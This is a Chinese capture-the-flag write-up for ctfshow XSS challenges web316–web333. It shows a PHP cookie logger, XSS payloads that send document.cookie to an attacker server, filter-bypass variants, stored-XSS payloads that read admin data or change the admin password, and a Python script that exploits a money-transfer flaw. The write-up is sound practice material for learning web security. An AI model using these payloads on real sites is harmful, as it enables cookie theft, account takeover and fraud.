ctfshow XSS web316-web333 wp

可能写的有点啰嗦,记录自己做题的过程

web316

后台会每隔一段时间(一般为15秒)去访问一次我们的链接(毕竟要领10个鸡蛋bot要康康你的分享状态),当BOT访问我们的xss的时候我们就能拿到admin的cookie。

这里有两种方法来获取,一种是在线的xss平台,如https://xsshs.cn/https://xss.pt/http://xsscom.com去生成xss链接

另一种就是搭建在自己的网站上,写一段php代码即可,如

# xss.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

一般来说,第一种方法已经够我们用了,但是有的时候还是只能用第二种方法。如ctfshow 终极考核题,因为第二台机器不能出网无法做到代理,而第二台机器又存在XSS,这种时候就只能使用第二种方法来获得cookie了。

这里使用https://xss.pt/xss.php,首先注册登录进入主页,然后点击创建
在这里插入图片描述

选择默认模块

在这里插入图片描述

获得很多种链接,随便用一个来生成“祝福语”,生成后再刷新一下题目,然后回到项目界面

当然会出现一种很常见的情况是:you are not admin no flag

在这里插入图片描述

不要慌张,这种情况是正常的(就是X到自己了),多弄几次就好了

太伤心了,整了十几次都还是插的自己

玛德我无语了,我放自己服务器上去,放上去(上面的php代码)之后写这条语句

<script>document.location.href="http://ip/xss.php?cookie="+document.cookie</script>

在这里插入图片描述

¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿

为啥一次成功了,我不理解。。

web317

上一题的payload打不通,因为过滤了但不知道过滤了什么,将script换成body就成功了,说明过滤了script

<body οnlοad="window.location.href='http://ip/xss.php?cookie='+document.cookie"></body>

web318

上一道题的payload成功了

web319

上一题的payload成功了

web320

上一题的payload失败了,不知道过滤了啥。这里测试一下。

第一次测试是删掉了href前面的

在这里插入图片描述

这说明过滤点在前面,body是没问题的

第二次删掉window前面的,一样有回显,说明过滤点在前面

onload没问题,body没问题,说明问题出在这个空格

绕过方法:

TAB

/

/**/

<body/**/οnlοad="window.location.href='http://ip/xss.php?cookie='+document.cookie"></body>

web321

上一道题payload成功了

web322

玛德太恶心了,这里需要把服务器上的xss.php改成别的名字,总之不能出现xss三个字符

<body/**/οnlοad="window.location.href='http://ip/a.php?cookie='+document.cookie"></body>

web323

上一题payload成功了

web324

上一题payload成功了

web325

上一题payload成功了

web326

上一题payload成功了

web327

换题了,存储型XSS

在这里插入图片描述

收件人肯定admin

然后信的内容用322payload试一下

在这里插入图片描述

成功

web328

一个登录的,账号admin,密码上面的payload试试

失败了,账号密码都用payload试试

还是失败了

诶上面有个注册按钮,试一下。

无法注册admin,换别的名字就可以。登录进去用户管理只有admin才能看到

因为只有管理员才能看到用户管理,那这里有个思路就是说能不能注入payload到用户管理那里,那个管理员访问。

注册一个账号,密码为上面的payload试试

实践结果是不行

这里用<script>试试,要注意的是最后要加个分号

<script>window.location.href='http://ip/a.php?cookie='+document.cookie;</script>

在这里插入图片描述

这里得到了管理员的cookie,那直接用cookie登录试一下

在这里插入图片描述

但是抓包这里看不到管理的界面,而且这是临时的,所以直接换存储

在这里插入图片描述

然后刷新一下界面就看到了flag,但是flag一闪而过了,这里就只有抓包了

在这里插入图片描述

web329

方法同上,能得到cookie但是还是访问不了页面

原因是,管理员访问了页面就退出了,相当于现在得到的最新cookie是管理员上一次用的cookie

这里不行了呀这里,看了下wp是用js

这样,看视频https://www.bilibili.com/video/BV1gi4y1A76p

<script>$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show')>-1){
        window.location.href='http://ip/a.php?cookie='+value.innerHTML; 
    }
});</script>

这里拆开是因为如果直接写ctfshow,到时候查询到的第一条含有ctfshow的就是我们自己

在这里插入图片描述

加个{,ctf+show{

记得每次数据被污染了就开一个新的靶场

在这里插入图片描述

web330

多了个修改密码的选项,那不直接让admin自己修改自己密码

<script>window.location.href='http://127.0.0.1/api/change.php?p=admin';</script>

注册一个payload账号就行了

在这里插入图片描述

web331

思路和上一道一样,只不过方法从get变成了post

在这里插入图片描述

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'2333'}});</script>

web332

9999元才能购买flag,新注册账号有5块钱。

然后发现转负的钱自己就能加,别就会减,哈哈哈哈

给admin转个-9999就好了

web333

上一道题就想写脚本了,结果发现了简单方法所以没写

这里直接写个脚本疯狂注册给我钱(薅羊毛)

写了二十多分钟一直调试发现就是登录不上。。。不知道为啥呜呜呜

看了下yu师傅的脚本,是自己给自己转钱,就可以加,我太笨了

import requests
x=5
url="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/amount.php"
url2="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/getFlag.php"
headers={
    
    'Cookie':'PHPSESSID=jkvcavn3fpfel2opl4afqdcepp'}  #自己登录后的sessionid
while True:
	print(x)
	t=x-1
	data={
    
    
	'u':'mumuzi', #注册的用户名
	'a':str(t)
	}
	r=requests.post(url,headers=headers,data=data)
	print(r.text)
	if(x>10000):
		r2=requests.get(url2,headers=headers)
		print(r2.text)
		break
	x+=t

至此,XSS部分结束

猜你喜欢

转载自blog.csdn.net/qq_42880719/article/details/122543274